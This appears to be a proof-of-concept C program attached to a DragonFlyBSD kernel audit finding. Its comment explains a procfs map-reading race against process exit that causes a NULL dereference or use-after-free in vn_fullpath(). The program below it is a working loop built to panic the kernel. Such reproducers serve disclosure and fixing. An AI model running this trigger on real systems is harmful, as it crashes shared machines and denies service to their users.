⬢ DragonFlyBSD Kernel Audit
DF-3239 / df3239_pfd_exit_race.c
← back to finding ↓ download raw
/*
 * DF-3239 -- /proc/<pid>/map reader vs target exit(): p_fd NULL-deref /
 * UAF inside vn_fullpath()->cache_fullpath().
 *
 * sys/vfs/procfs/procfs_map.c:87 drops p->p_token before the walk;
 * line 181 calls vn_fullpath(p, vp, &fullpath, &freepath, 1) while the
 * vm_map is unlocked.  vfs_cache.c:5188-5194:
 *      buf = kmalloc(MAXPATHLEN, M_TEMP, M_WAITOK);   <-- may block
 *      ...
 *      else if (p != NULL)
 *              fd_nrdir = p->p_fd->fd_nrdir;          <-- unguarded deref
 *
 * Meanwhile the target's exit1() -> fdfree(p, NULL) (kern/kern_exit.c:382
 * -> kern_descrip.c:2722-2756) disconnects p->p_fd (sets it to NULL under
 * p_spin) and kfrees the filedesc -- regardless of the reader's PHOLD on
 * the proc (PHOLD only stalls the reaper, kern_exit.c:1211/1313).
 *
 * If the reader's p->p_fd load observes the NULL -> kernel-mode read at
 * small fixed offset -> panic in cache_fullpath/vn_fullpath.
 * If it loads the old pointer just before the disconnect -> UAF read of
 * the freed filedesc (garbage fd_nrdir, used only in pointer compares).
 *
 * Trigger: parent forks children that map a file (vnode entries ->
 * vn_fullpath per entry), then exit; the parent hammers read() on
 * /proc/<child>/map across the child's exit.  Expect eventual panic with
 * cache_fullpath/vn_fullpath in the backtrace (a RB_NEXT/procfs_domap
 * backtrace instead means DF-3238 fired first).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/mman.h>

#define CHURN_BASE	0x00100000UL
#define CHURN_N		16
#define CHURN_LEN	0x8000UL
#define PAGE		0x1000UL

static int backing_fd = -1;

int
main(void)
{
	char buf[16384];
	char path[64];
	int sv[2];
	pid_t pid;
	long rounds = 0;
	int fd, k;
	void *p;
	int i;
	char tmp[] = "/tmp/df3239b";

	backing_fd = open(tmp, O_RDWR | O_CREAT | O_TRUNC, 0600);
	if (backing_fd < 0) {
		perror("open backing");
		return 1;
	}
	ftruncate(backing_fd, CHURN_LEN);
	unlink(tmp);

	for (;;) {
		if (pipe(sv) < 0) {
			perror("pipe");
			return 1;
		}
		pid = fork();
		if (pid == 0) {
			/* child: vnode-backed low mappings, then die */
			close(sv[0]);
			for (i = 0; i < CHURN_N; i++) {
				p = mmap((void *)(CHURN_BASE + i * CHURN_LEN),
					 CHURN_LEN, PROT_READ,
					 MAP_SHARED | MAP_FIXED, backing_fd,
					 (i & 1) ? 0 : PAGE);
				if (p == MAP_FAILED)
					break;
			}
			if (write(sv[1], "R", 1) < 0)
				;
			close(sv[1]);
			usleep(arc4random() % 400);
			_exit(0);
		}
		close(sv[1]);
		if (read(sv[0], buf, 1) < 1)
			;
		close(sv[0]);

		snprintf(path, sizeof(path), "/proc/%d/map", pid);
		fd = open(path, O_RDONLY);
		if (fd >= 0) {
			for (k = 0; k < 32; k++) {
				lseek(fd, 0, SEEK_SET);
				while (read(fd, buf, sizeof(buf)) > 0)
					;
			}
			close(fd);
		}
		waitpid(pid, NULL, 0);
		rounds++;
		if ((rounds & 0xff) == 0)
			fprintf(stderr, "[rounds:%ldk] ", rounds / 1024);
	}
}